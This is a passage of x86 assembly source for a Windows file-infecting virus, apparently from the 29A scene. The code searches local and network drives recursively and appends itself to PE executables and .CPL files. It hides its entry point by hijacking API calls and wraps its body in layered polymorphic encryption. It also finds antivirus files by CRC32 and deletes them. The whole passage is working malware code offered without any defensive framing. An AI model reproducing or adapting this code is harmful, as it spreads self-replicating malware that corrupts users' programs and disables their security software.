call dword ptr [ebp+a_GetLogicalDriveStringsA]
or eax,eax
jz ExitIThread

cmp eax,edi
ja ExitIThread

;============================================================
;Follow the drives chain
;============================================================

DrivesLoop: cmp byte ptr [esi],00h


jnz MoreDrives

;============================================================
;Terminate infection thread
;============================================================

ExitIThread: call AfterThread

push 00000000h
call dword ptr [ebp+a_ExitThread] ;Leave the thread

;============================================================
;Check drive type, only fixed or remote drives allowed
;============================================================

MoreDrives: push esi


call dword ptr [ebp+a_GetDriveTypeA]

cmp eax,00000003h ; DRIVE_FIXED


je CheckThisDrive

cmp eax,00000004 ; DRIVE_REMOTE


jne NextDrive

;============================================================
;Got it! Do recursive search on drive
;============================================================

CheckThisDrive: push esi


lea edi,dword ptr [ebp+BufGetDir]
push edi
call parse_filename
call Search4Files
pop edi
pop esi

NextDrive: cld
NextDString: lodsb
or al,al
jnz NextDString

jmp DrivesLoop

;============================================================================
;Search for target...
;
;This routine its able to call itself in order to perform a recursive
;search all along the entire directory tree
;
;============================================================================
;============================================================
;Store local information on the stack
;============================================================

Search4Files: sub esp,SIZEOF_WIN32_FIND_DATA + 00000004h


mov ebx,esp

;Find frame:
;
; Path where to perform search ( size MAX_PATH )
; Return address ( size DWORD )
; FindHandle ( size DWORD )
; Find data ( size SIZEOF_WIN32_FIND_DATA )

FindStack_Ptr2FindData equ 00000000h


FindStack_Ptr2FindHandle equ SIZEOF_WIN32_FIND_DATA
FindStack_Ptr2ReturnAddress equ SIZEOF_WIN32_FIND_DATA + 00000004h
FindStack_Ptr2SearchPath equ SIZEOF_WIN32_FIND_DATA + 00000008h

;============================================================
;Do FindFirstFile
;============================================================

push ebx ; lpFindFileData

mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]


mov edi,esi

push edi ; lpFileName

call parse_filename
dec edi

cmp byte ptr [edi-00000001h],'\'


jne RootAware

dec edi

RootAware: mov eax,'*.*\'


stosd
xor eax,eax
stosb

call dword ptr [ebp+a_FindFirstFileA]


cmp eax,INVALID_HANDLE_VALUE
je ErrorFindFirst

mov dword ptr [ebx+FindStack_Ptr2FindHandle],eax

;============================================================
;Find data ready to be checked
;============================================================

GoFindRecord: lea esi,dword ptr [ebx+WFD_szFileName]


cld
lodsd

;============================================================
;Check for . and ..
;============================================================

cmp ax,002Eh
je DoFindNext

and eax,00FFFFFFh
cmp eax,00002E2Eh
je DoFindNext

;============================================================
;Check if this is a directory
;============================================================

mov eax,dword ptr [ebx]

test eax,FILE_ATTRIBUTE_DIRECTORY
jz DoFileFound

;============================================================
;Directory found, perform recursive search on it
;============================================================

push ebx

mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]


sub esp,MAX_PATH
mov edi,esp

push edi

call parse_filename

lea esi,dword ptr [ebx+WFD_szFileName]


mov edi,edx
call parse_filename

call Search4Files
pop edi

add esp,MAX_PATH

pop ebx
jmp DoFindNext

;============================================================
;File found, check if its a valid host
;============================================================

DoFileFound: and eax,FILE_ATTRIBUTE_DIRECTORY or \


FILE_ATTRIBUTE_COMPRESSED or \
FILE_ATTRIBUTE_SYSTEM

jnz DoFindNext

;============================================================
;Save file time
;============================================================

cld
lea esi,dword ptr [ebx+WFD_ftCreationTime]
lea edi,dword ptr [ebp+FT_CreationTime]

movsd ; ftCreationTime ( dwLowDateTime )


movsd ; ftCreationTime ( dwHighDateTime )

movsd ; ftLastAccessTime ( dwLowDateTime )


movsd ; ftLastAccessTime ( dwHighDateTime )

movsd ; ftLastWriteTime ( dwLowDateTime )


movsd ; ftLastWriteTime ( dwHighDateTime )

;============================================================
;Check if file size is allowed
;============================================================

lodsd ; EDI points to WFD_nFileSizeHigh


or eax,eax
jnz DoFindNext
lodsd
cmp eax,0FFFFFFFFh- \
(size_virtual+(NUMBER_OF_POLY_LAYERS*00004000h))

jae DoFindNext

cmp eax,inf_size
jbe DoFindNext

;============================================================
;Save the file size for l8r use
;============================================================

mov dword ptr [ebp+FileSizeOnDisk],eax

;============================================================
;Check if file is already infected, using size padding
;============================================================

SIZE_PADDING equ 00000065h

mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jz DoFindNext

;============================================================
;Get complete path + filename and convert it to upper case
;============================================================

mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]


lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
lea esi,dword ptr [ebx+WFD_szFileName]
mov edi,edx
call parse_filename

; al -> Null
; edx -> Points to filename at the end of path
; edi -> Points 1byte above the null terminator

;============================================================
;Check file extension
;============================================================

lea esi,dword ptr [edi-00000005h]


call get_str_crc32

lea esi,dword ptr [ebp+TblCRC32szEXT]


mov ecx,NumberOfExt
CheckExtLoop: lodsd
sub eax,edx
jnz NoInterested

;============================================================
;Extension match... Infect file
;============================================================

call FileInfection
jmp short DoFindNext

NoInterested: loop CheckExtLoop

;============================================================
;None of our infectable extensions match
;Lets see if this file is an AV related file...
;============================================================

lea esi,dword ptr [ebp+BufStrFilename]


mov edi,esi
call parse_filename ;Parse and reparse

mov esi,edx
call get_str_crc32

lea esi,dword ptr [ebp+TblCRC32AV]


mov ecx,NumberOfAV
CheckAVLoop: lodsd
sub eax,edx
jnz AvNoMatch

;============================================================
;AV file found... Reset its attributes and delete it
;============================================================

lea esi,dword ptr [ebp+BufStrFilename]

push eax ; 00000000h


push esi
call dword ptr [ebp+a_SetFileAttributesA]

push esi
call dword ptr [ebp+a_DeleteFileA]

jmp short DoFindNext

AvNoMatch: loop CheckAVLoop

;============================================================
;Before looking for more files lets sleep a while
;============================================================

DoFindNext: mov eax,00000800h


call get_rnd_range
add eax,00000400h
push eax
call dword ptr [ebp+a_Sleep]

;============================================================
;Find next directory or file
;============================================================

push ebx ; lpFindFileData


push dword ptr [ebx+FindStack_Ptr2FindHandle]

call dword ptr [ebp+a_FindNextFileA]

or eax,eax
jnz GoFindRecord

ErrorFindFirst: mov eax,00002000h


call get_rnd_range
add eax,00001000h
push eax
call dword ptr [ebp+a_Sleep]

push dword ptr [ebx+FindStack_Ptr2FindHandle]


call dword ptr [ebp+a_FindClose]

mov esp,ebx
add esp,SIZEOF_WIN32_FIND_DATA + 00000004h
ret

;============================================================================
;Infect PE files
;
;On entry:
; BufStrFilename -> Buffer that contains complete path and
; filename
; DirectFindData -> Win32 Find Data structure filled with
; information about the file to infect
;============================================================================

FileInfection: push ebx


lea esi,dword ptr [ebp+BufStrFilename]
mov edi,esi
call parse_filename
mov esi,edx

;****************************************************************************
; mov eax,dword ptr [esi]
; cmp eax,'TAOG'
; jne ExitFileInf
;****************************************************************************

;============================================================
;Avoid some files from being infected
;============================================================

CheckFileName: push esi


mov ecx,00000002h
call get_crc32
lea esi,dword ptr [ebp+avoid_tbl]
mov ecx,avoid_num
AvoidLoop: lodsd
cmp eax,edx
jne NextAvoid

pop esi
jmp ExitFileInf

NextAvoid: loop AvoidLoop


pop esi
lodsb
cmp al,'.'
jne CheckFileName
;============================================================
;Check if file is protected by Windows File Protection
;(Windows 2000 only)
;============================================================

cmp dword ptr [ebp+hSFC],00000000h


jz NotProtected
lea eax,dword ptr [ebp+BufStrFilename]
push eax
push 00000000h
call dword ptr [ebp+a_SfcIsFileProtected]
or eax,eax
jnz ExitFileInf

;============================================================
;Try to infect this file
;============================================================

NotProtected: call TryAttach

;============================================================
;Exit file infection
;============================================================

ExitFileInf: pop ebx


ret

;============================================================================
;Infect file routines
;
;On entry:
; BufStrFilename -> Buffer filled with path + filename
;============================================================================

SEH_Block_0001 macro
add esp,-cPushad
jnz Ape_err
endm

;============================================================
;Open target file for read-only access
;============================================================

TryAttach: call FileMapRO


or eax,eax
jz inf_file_err

;============================================================
;Register ebx contains the base address of the target file
;all along infection routines
;============================================================

mov ebx,eax

;============================================================
;Check for MZ signature at base address
;============================================================

cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne inf_close_file
;============================================================
;Check file address of relocation table
;============================================================

cmp word ptr [ebx+MZ_lfarlc],0040h


jb inf_close_file

;============================================================
;Now go to the pe header and check for the PE signature
;============================================================

mov esi,dword ptr [ebx+MZ_lfanew]


mov eax,dword ptr [ebp+FileSizeOnDisk]
shr eax,01h
cmp esi,eax
jae inf_close_file

add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne inf_close_file

;============================================================
;Check machine field in IMAGE_FILE_HEADER
;just allow i386 PE files
;============================================================

cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386


jne inf_close_file

;============================================================
;Now check the characteristics, look if file
;is an executable
;============================================================

mov ax,word ptr [esi+FH_Characteristics]


test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \
IMAGE_FILE_32BIT_MACHINE

jz inf_close_file

;============================================================
;Avoid DLL's
;============================================================

; Removed to allow .CPL infection


;
; test ax,IMAGE_FILE_DLL
; jnz inf_close_file

;============================================================
;Virus resides on last section
;============================================================

call get_last_sh
jecxz inf_close_file

;============================================================
;Check subsystem, only GUI applications allowed
;============================================================

movzx eax,word ptr [esi+OH_Subsystem]


cmp eax,IMAGE_SUBSYSTEM_WINDOWS_GUI
jne inf_close_file

;============================================================
;Save RVA of last section
;============================================================

mov eax,edi
sub eax,ebx
mov dword ptr [ebp+virus_sh],eax

;============================================================
;This is an attempt to avoid offending PE file formats
;============================================================

mov eax,dword ptr [edi+SH_PointerToRawData]


add eax,dword ptr [edi+SH_SizeOfRawData]
add eax,dword ptr [esi+OH_FileAlignment]
cmp eax,dword ptr [ebp+FileSizeOnDisk]
jb inf_close_file

;============================================================
;Save a pointer to imports
;============================================================

mov eax,dword ptr [esi+ \


OH_DataDirectory+ \
DE_Import+ \
DD_VirtualAddress]

mov dword ptr [ebp+FileImport],eax

;============================================================
;Go to relocations
;============================================================

mov eax,dword ptr [esi+ \


OH_DataDirectory+ \
DE_BaseReloc+ \
DD_VirtualAddress]
or eax,eax
jz cant_overwrite

;============================================================
;Relocations section is the last section?
;============================================================

sub eax,dword ptr [edi+SH_VirtualAddress]


jz got_vir_offset

;============================================================
;We cant overwrite relocations...
;...lets attach the virus to the end of last section
;============================================================

cant_overwrite: mov eax,dword ptr [edi+SH_SizeOfRawData]


mov edx,dword ptr [edi+SH_VirtualSize]
cmp eax,edx
jae got_vir_offset
mov eax,edx

got_vir_offset: add eax,dword ptr [edi+SH_PointerToRawData]


mov dword ptr [ebp+vir_offset],eax
;============================================================
;Search inside host code...
;============================================================

@SEH_SetupFrame <SEH_Block_0001>
xor ecx,ecx
pushad

call DoEPO
mov dword ptr [esp+Pushad_ecx],ecx

Ape_err: popad
@SEH_RemoveFrame

jecxz inf_close_file
mov dword ptr [ebp+inject_offs],ecx

;============================================================
;Close file...
;============================================================

call FileUnmapRO

;============================================================
;...and remap with oversize
;============================================================

call FileMapRW
or eax,eax
jz inf_file_err

add dword ptr [ebp+virus_sh],eax


mov ebx,eax

;============================================================
;Move virus to file
;============================================================

lea esi,dword ptr [ebp+viro_sys]


mov edi,dword ptr [ebp+vir_offset]
add edi,ebx

push edi

mov ecx,inf_size
cld
rep movsb

;============================================================
;Save original code
;============================================================

mov esi,dword ptr [ebp+inject_offs]


add esi,ebx

pop edi
push edi

add edi,org_code-viro_sys
cld
movsb
movsd
;============================================================
;Save some registers on 1st decryptor
;============================================================

mov ecx,00000004h
push ecx

lea edi,dword ptr [ebp+TblStdPshP]


cld
CleanStdLoop: mov eax,00000004h
sub eax,ecx
stosd
loop CleanStdLoop

pop ecx
push ecx

lea edi,dword ptr [ebp+PshPStepIndex]


GenTblStdLoop: mov eax,00000004h
call get_rnd_range
lea esi,dword ptr [ebp+TblStdPshP+eax*04h]
lodsd
cmp eax,0FFFFFFFFh
jz GenTblStdLoop
stosd
mov dword ptr [esi-00000004h],0FFFFFFFFh
loop GenTblStdLoop

pop ecx

lea esi,dword ptr [ebp+PshPStepIndex]

pop edi
push edi

add edi,TblDoPolyPops-viro_sys

DoPolyPopsLoop: lodsd
lea edx,dword ptr [ebp+eax+TblDoPop]
mov al,byte ptr [edx]
stosb
loop DoPolyPopsLoop

;============================================================
;Prepare first decryptor mark
;============================================================

mov byte ptr [ebp+IsFirst],cl

;============================================================
;Initialize size of all decryptors
;============================================================

mov dword ptr [ebp+decryptor_size],ecx

;============================================================
;Get CRC32 of main virus body and save it for l8r use
;============================================================

pop esi
push esi
add esi,CRC_protected-viro_sys

mov ecx,SizeOfProtect
call get_crc32

pop edi

mov dword ptr [edi+ViralChecksum-viro_sys],edx

;============================================================
;Generate polymorphic encryption
;============================================================

add edi,inf_size

mov edx,dword ptr [ebp+vir_offset]


mov eax,NUMBER_OF_POLY_LAYERS
call get_rnd_range
inc eax
inc eax
mov ecx,eax

each_layer: push ecx


cmp ecx,00000001h
jne Set1stFlag
mov dword ptr [ebp+IsFirst],0FFh
Set1stFlag: mov ecx,dword ptr [ebp+decryptor_size]
add ecx,inf_size
mov esi,dword ptr [ebp+vir_offset]
call Mutate
add dword ptr [ebp+decryptor_size],ecx
pop ecx
loop each_layer

;============================================================
;Insert a call to virus code over the api call
;============================================================

mov edi,dword ptr [ebp+inject_offs]


add edi,ebx
mov al,0E8h
stosb
push edi

;============================================================
;Calculate the CALL displacement
;============================================================

call get_code_sh

mov eax,dword ptr [esi+OH_FileAlignment]


mov dword ptr [ebp+raw_align],eax

mov eax,dword ptr [ebp+inject_offs]


sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]
push eax

mov eax,dword ptr [ebp+entry_point]


sub eax,00000005h
sub eax,ebx

mov edi,dword ptr [ebp+virus_sh]


sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]

pop edx
sub eax,edx
pop edi
stosd

mov edi,dword ptr [ebp+virus_sh]

;============================================================
;Set read/write access on virus section
;============================================================

or dword ptr [edi+SH_Characteristics], \


IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

;============================================================
;Dont share virus section
;============================================================

and dword ptr [edi+SH_Characteristics], \


not IMAGE_SCN_MEM_SHARED

;============================================================
;Update SizeOfRawData
;============================================================

mov eax,dword ptr [ebp+vir_offset]


add eax,dword ptr [ebp+decryptor_size]
add eax,inf_size
mov edx,dword ptr [edi+SH_PointerToRawData]
mov dword ptr [ebp+fix_size],edx
sub eax,edx
cmp eax,dword ptr [edi+SH_SizeOfRawData]
jbe RawSizeOk

;============================================================
;If we changed SizeOfRawData round up to nearest
;file alignment
;============================================================

xor edx,edx
mov ecx,dword ptr [ebp+raw_align]
div ecx
inc eax
mul ecx
mov edx,dword ptr [edi+SH_SizeOfRawData]
mov dword ptr [edi+SH_SizeOfRawData],eax
sub eax,edx

test dword ptr [edi+SH_Characteristics], \


IMAGE_SCN_CNT_INITIALIZED_DATA
jz RawSizeOk
add dword ptr [esi+OH_SizeOfInitializedData],eax

;============================================================
;Update VirtualSize
;============================================================

RawSizeOk: mov eax,dword ptr [edi+SH_SizeOfRawData]


add dword ptr [ebp+fix_size],eax
add eax,size_virtual-inf_size
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe VirtualSizeOk

mov dword ptr [edi+SH_VirtualSize],eax

;============================================================
;Update SizeOfImage
;============================================================

VirtualSizeOk: mov eax,dword ptr [edi+SH_VirtualAddress]


add eax,dword ptr [edi+SH_VirtualSize]
xor edx,edx
mov ecx,dword ptr [esi+OH_SectionAlignment]
div ecx
inc eax
mul ecx
mov dword ptr [esi+OH_SizeOfImage],eax

;============================================================
;Find any data directory entry pointing to last section
;============================================================

mov ecx,IMAGE_NUMBEROF_DIRECTORY_ENTRIES
lea edx,dword ptr [esi+OH_DataDirectory]
FDataPtr2Last: mov eax,dword ptr [edx]
cmp eax,dword ptr [edi+SH_VirtualAddress]
jne NextFDataPtr

mov eax,dword ptr [edi+SH_VirtualSize]


mov dword ptr [edx+00000004h],eax
jmp short DoneFDataPtr

NextFDataPtr: add edx,00000008h


loop FDataPtr2Last

;============================================================
;Clear BASE RELOCATION field
;============================================================

DoneFDataPtr: xor eax,eax


lea edi,dword ptr [esi+ \
OH_DataDirectory+ \
DE_BaseReloc+ \
DD_VirtualAddress]
cld
stosd
stosd

;============================================================
;Compute new file checksum and update it on PE header
;============================================================

mov eax,dword ptr [ebp+fix_size]


mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx
push eax

cmp dword ptr [ebp+hIMGHLP],00000000h


jz NoChecksum
mov byte ptr [ebx+eax],00h

mov edx,eax
lea esi,dword ptr [ebp+ChecksumPE]
push esi ; CheckSum
lodsd
push esi ; HeaderSum
push edx ; FileLength
push ebx

call dword ptr [ebp+a_CheckSumMappedFile]


or eax,eax
jz NoChecksum
cmp dword ptr [esi],00000000h
jz NoChecksum

mov edx,dword ptr [esi-00000004h]


mov dword ptr [eax+ \
NT_OptionalHeader.OH_CheckSum],edx

;============================================================
;Mark file as infected and optimize file size
;============================================================

NoChecksum: pop eax


mov dword ptr [ebp+FatSize],eax
call FileUnmapRW
ret

;============================================================
;Close file mapping
;============================================================

inf_close_file: call FileUnmapRO


inf_file_err: ret

;============================================================================
;Scan host code
;
;On entry:
; ebx -> Memory image base address
;Exit:
; ecx -> Inject point offset in file
; or NULL if error
;============================================================================

DoEPO: mov edx,dword ptr [ebp+FileImport]


call RVA2RAW
mov dword ptr [ebp+ImportSH],edi

call get_code_sh
jecxz ExitApe

mov eax,dword ptr [esi+OH_ImageBase]


mov dword ptr [ebp+host_base],eax

sub edx,dword ptr [edi+SH_VirtualAddress]

mov ecx,dword ptr [edi+SH_SizeOfRawData]


sub ecx,edx

add edx,dword ptr [edi+SH_PointerToRawData] ;Entry-point RAW


lea esi,dword ptr [ebx+edx]

search_call: push ecx


xor eax,eax

lodsb
cmp al,0E8h ;Api call generated by Borland Linker?
je try_borland

cmp al,0FFh ;Api call generated by Microsoft Linker?


je try_microsoft

err_api_call: pop ecx


loop search_call
ExitApe: ret

try_borland: mov eax,esi


add eax,dword ptr [esi] ;Go to refered address
sub eax,ebx ;Convert to rva

mov edx,dword ptr [edi+SH_VirtualAddress]


cmp eax,edx
jb err_api_call ;Below code?

add edx,dword ptr [edi+SH_VirtualSize]


cmp eax,edx
jae err_api_call ;Above code?

cmp word ptr [eax+ebx-00000002h],25FFh ;JMP DWORD PTR [xxxx]


jne err_api_call

push dword ptr [eax+ebx]


pop eax
sub eax,dword ptr [ebp+host_base] ;Get a RVA again

mov edx,dword ptr [ebp+ImportSH]


mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?

add ecx,dword ptr [edx+SH_VirtualSize]


cmp eax,ecx
jae err_api_call ;Above imports?

sub eax,dword ptr [edx+SH_VirtualAddress]


add eax,dword ptr [edx+SH_PointerToRawData]

push dword ptr [eax+ebx]


pop eax

mov edx,dword ptr [ebp+ImportSH]


mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?

add ecx,dword ptr [edx+SH_VirtualSize]


cmp eax,ecx
jae err_api_call ;Above imports?

found_place: ;Use this point? or better continue the search?

call get_rnd_range
test eax,01h
jz err_api_call

pop eax
mov ecx,esi
dec ecx
sub ecx,ebx

ret

try_microsoft: cmp byte ptr [esi],15h


jne err_api_call
mov eax,dword ptr [esi+00000001h]
sub eax,dword ptr [ebp+host_base]

mov edx,dword ptr [ebp+ImportSH]


mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?

add ecx,dword ptr [edx+SH_VirtualSize]


cmp eax,ecx
jae err_api_call ;Above imports?

sub eax,dword ptr [edx+SH_VirtualAddress]


add eax,dword ptr [edx+SH_PointerToRawData]
push dword ptr [eax+ebx]
pop eax

;If file is binded eax contains the address of the API


;Lets check if eax points to a KERNEL32 API

cmp eax,dword ptr [ebp+K32CodeStart]


jb inside_import
cmp eax,dword ptr [ebp+K32CodeEnd]
jb found_place

inside_import: mov edx,dword ptr [ebp+ImportSH]


mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?

add ecx,dword ptr [edx+SH_VirtualSize]


cmp eax,ecx
jae err_api_call ;Above imports?

jmp found_place

;============================================================================
;SEH handling routines coded by Jacky Qwerty / 29A
;============================================================================

SEH_Frame: sub edx,edx


push dword ptr fs:[edx]
mov fs:[edx],esp
jmp [esp.(02h*Pshd).RetAddr]

SEH_RemoveFrame:push 00000000h
pop edx
pop dword ptr [esp.(02h*Pshd).RetAddr]
pop dword ptr fs:[edx]
pop edx
ret (Pshd)
SEH_SetupFrame: call SEH_Frame
mov eax,[esp.EH_ExceptionRecord]
test byte ptr [eax.ER_ExceptionFlags], \
EH_UNWINDING or EH_EXIT_UNWIND
mov eax,dword ptr [eax.ER_ExceptionCode]
jnz SEH_Search
add eax,-EXCEPTION_ACCESS_VIOLATION
jnz SEH_Search
mov esp,dword ptr [esp.EH_EstablisherFrame]
mov dword ptr fs:[eax],esp
jmp dword ptr [esp.(02h*Pshd).Arg1]
SEH_Search: xor eax,eax
ret

;============================================================================
;FileMapRO open and map a file for read-only access
;
;On entry:
; BufStrFilename -> Buffer filled with path + filename
;Exit:
; eax -> Base address of memory map for file or null if error
;============================================================================

;============================================================
;GetFileAttributes
;============================================================

FileMapRO: lea esi,dword ptr [ebp+BufStrFilename]


push esi ; lpFileName

call dword ptr [ebp+a_GetFileAttributesA]


cmp eax,0FFFFFFFFh
jne FileGetAttrOk

FileGetAttrErr: xor eax,eax


ret

;============================================================
;CreateFile ( GENERIC_READ )
;============================================================

FileGetAttrOk: mov dword ptr [ebp+CurFileAttr],eax


xor edi,edi

push edi ; hTemplateFile


push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push edi ; lpSecurityAttributes
push edi ; dwShareMode
push GENERIC_READ ; dwDesiredAccess
push esi ; lpFileName

call dword ptr [ebp+a_CreateFileA]

cmp eax,INVALID_HANDLE_VALUE
je FileGetAttrErr

;============================================================
;CreateFileMapping ( PAGE_READONLY )
;============================================================

mov dword ptr [ebp+h_CreateFile],eax


push edi ; lpName
push edi ; dwMaximumSizeLow
push edi ; dwMaximumSizeHigh
push PAGE_READONLY ; flProtect
push edi ; lpFileMappingAttributes
push dword ptr [ebp+h_CreateFile] ; hFile

call dword ptr [ebp+a_CreateFileMappingA]


or eax,eax
jnz OkFileMappingRO

ErrFileMapRO: push dword ptr [ebp+h_CreateFile]


call dword ptr [ebp+a_CloseHandle]

jmp FileGetAttrErr

;============================================================
;MapViewOfFile
;============================================================

OkFileMappingRO:mov dword ptr [ebp+h_FileMap],eax

push edi ; dwNumberOfBytesToMap


push edi ; dwFileOffsetLow
push edi ; dwFileOffsetHigh
push FILE_MAP_READ ; dwDesiredAccess
push eax ; hFileMappingObject

call dword ptr [ebp+a_MapViewOfFile]


or eax,eax
jnz FileViewOkRO

FileViewErrorRO:push dword ptr [ebp+h_FileMap]


call dword ptr [ebp+a_CloseHandle]

jmp ErrFileMapRO

;============================================================
;Ready!
;============================================================

FileViewOkRO: mov dword ptr [ebp+map_is_here],eax


ret

;============================================================
;UnmapRO
;============================================================

FileUnmapRO: push ebx


call dword ptr [ebp+a_UnmapViewOfFile]
jmp FileViewErrorRO

;============================================================================
;FileMapRW open and map a file for read and write access
;
;On entry:
; BufStrFilename -> Buffer filled with path + filename
;Exit:
; eax -> Base address of memory map for file or null if error
;============================================================================

;============================================================
;Calculate size of infected file
;============================================================

FileMapRW: mov eax,dword ptr [ebp+vir_offset]


add eax,( size_virtual * 02h ) + \
( NUMBER_OF_POLY_LAYERS * 00004000h )

mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+FatSize],eax

;============================================================
;SetFileAttributes
;============================================================

lea esi,dword ptr [ebp+BufStrFilename]

push FILE_ATTRIBUTE_NORMAL ; dwFileAttributes


push esi ; lpFileName

call dword ptr [ebp+a_SetFileAttributesA]


or eax,eax
jnz FileSetAttrOk

FileSetAttrErr: xor eax,eax


ret

;============================================================
;CreateFile ( GENERIC_READ or GENERIC_WRITE )
;============================================================

FileSetAttrOk: xor edi,edi


mov dword ptr [ebp+map_is_here],edi

push edi ; hTemplateFile


push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push edi ; lpSecurityAttributes
push edi ; dwShareMode
push GENERIC_READ or GENERIC_WRITE ; dwDesiredAccess
push esi ; lpFileName

call dword ptr [ebp+a_CreateFileA]


cmp eax,INVALID_HANDLE_VALUE
jne FileOpenOkRW

FileOpenErrorRW:lea esi,dword ptr [ebp+BufStrFilename] ; Need for reverse!

push dword ptr [ebp+CurFileAttr] ; dwFileAttributes


push esi ; lpFileName
call dword ptr [ebp+a_SetFileAttributesA]

jmp FileSetAttrErr

;============================================================
;CreateFileMapping ( PAGE_READWRITE )
;============================================================

FileOpenOkRW: mov dword ptr [ebp+h_CreateFile],eax

push edi ; lpName


push dword ptr [ebp+FatSize] ; dwMaximumSizeLow
push edi ; dwMaximumSizeHigh
push PAGE_READWRITE ; flProtect
push edi ; lpFileMappingAttributes
push eax ; hFile

call dword ptr [ebp+a_CreateFileMappingA]


or eax,eax
jnz FileMapOkRW

FileMapErrorRW: cmp dword ptr [ebp+map_is_here],edi


jz FileSizeIsOk

mov esi,dword ptr [ebp+h_CreateFile]


xor eax,eax

push eax ; dwMoveMethod


push eax ; lpDistanceToMoveHigh
push dword ptr [ebp+FatSize] ; lDistanceToMove
push esi ; hFile

call dword ptr [ebp+a_SetFilePointer]


cmp eax,0FFFFFFFFh
je FileSizeIsOk

push esi ; hFile


call dword ptr [ebp+a_SetEndOfFile]

lea edx,dword ptr [ebp+FT_LastWriteTime]


push edx
sub edx,00000008h
push edx
sub edx,00000008h
push edx
push esi

call dword ptr [ebp+a_SetFileTime]

FileSizeIsOk: push dword ptr [ebp+h_CreateFile]


call dword ptr [ebp+a_CloseHandle]

jmp FileOpenErrorRW

;============================================================
;MapViewOfFile
;============================================================

FileMapOkRW: mov dword ptr [ebp+h_FileMap],eax

push dword ptr [ebp+FatSize] ; dwNumberOfBytesToMap


push edi ; dwFileOffsetLow
push edi ; dwFileOffsetHigh
push FILE_MAP_WRITE ; dwDesiredAccess
push eax ; hFileMappingObject

call dword ptr [ebp+a_MapViewOfFile]


or eax,eax
jnz FileViewOkRW

FileViewErrorRW:push dword ptr [ebp+h_FileMap]


call dword ptr [ebp+a_CloseHandle]
jmp FileMapErrorRW
FileViewOkRW: mov dword ptr [ebp+map_is_here],eax
ret

;============================================================
;UnmapRW
;============================================================

FileUnmapRW: push ebx


call dword ptr [ebp+a_UnmapViewOfFile]
jmp FileViewErrorRW

;============================================================================
;Convert RVA to RAW
;
;On entry:
; ebx -> Host base address
; edx -> RVA to convert
;On exit:
; ecx -> Pointer to RAW data or NULL if error
; edx -> Section delta offset
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
;============================================================================

RVA2RAW: cld
mov dword ptr [ebp+search_raw],edx
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
jecxz err_RVA2RAW
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add edi,esi

;============================================================
;Get the IMAGE_SECTION_HEADER that contains RVA
;
;At this point:
;
;ebx -> File base address
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to first section header
;ecx -> Number of sections
;
;Check if address of imports directory is inside this
;section
;============================================================

s_img_section: mov eax,dword ptr [ebp+search_raw]


mov edx,dword ptr [edi+SH_VirtualAddress]
sub eax,edx
cmp eax,dword ptr [edi+SH_VirtualSize]
jb section_ok

;============================================================
;Go to next section header
;============================================================

out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER


loop s_img_section
err_RVA2RAW: ret
;============================================================
;Get raw
;============================================================

section_ok: mov ecx,dword ptr [edi+SH_PointerToRawData]


sub edx,ecx
add ecx,eax
add ecx,ebx
ret

;============================================================================
;Get code section header and entry-point information
;
;On entry:
; ebx -> Host base address
;On exit:
; ecx -> Pointer to RAW data or NULL if error
; edx -> Entry-point RVA
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
;============================================================================

get_code_sh: call get_last_sh


mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
push edx
call RVA2RAW
pop edx
ret

;============================================================================
;Get pointer to last section header
;
;On entry:
; ebx -> Host base address
;On exit:
; esi -> IMAGE_OPTIONAL_HEADER
; edi -> Pointer to last section header
;============================================================================

get_last_sh: push ecx


mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
cld
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mov eax,IMAGE_SIZEOF_SECTION_HEADER
mul ecx
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,edx
add eax,esi
mov edi,eax
pop ecx
ret

;============================================================================
;Generate data area suitable for memory write access
;
; edi -> Base address
; ecx -> Size
;============================================================================
gen_data_area: push eax
push edx

movzx eax,byte ptr [ebp+NumberOfDataAreas]


cmp eax,NUM_DA
jae no_more_da

lea edx,dword ptr [ebp+tbl_data_area+eax*08h]

mov eax,edi
sub eax,dword ptr [ebp+map_is_here]
add eax,dword ptr [ebp+host_base]

push ecx

mov ecx,dword ptr [ebp+virus_sh]


sub eax,dword ptr [ecx+SH_PointerToRawData]
add eax,dword ptr [ecx+SH_VirtualAddress]
mov dword ptr [edx],eax

pop ecx
mov dword ptr [edx+00000004h],ecx

inc byte ptr [ebp+NumberOfDataAreas]


no_more_da: pop edx
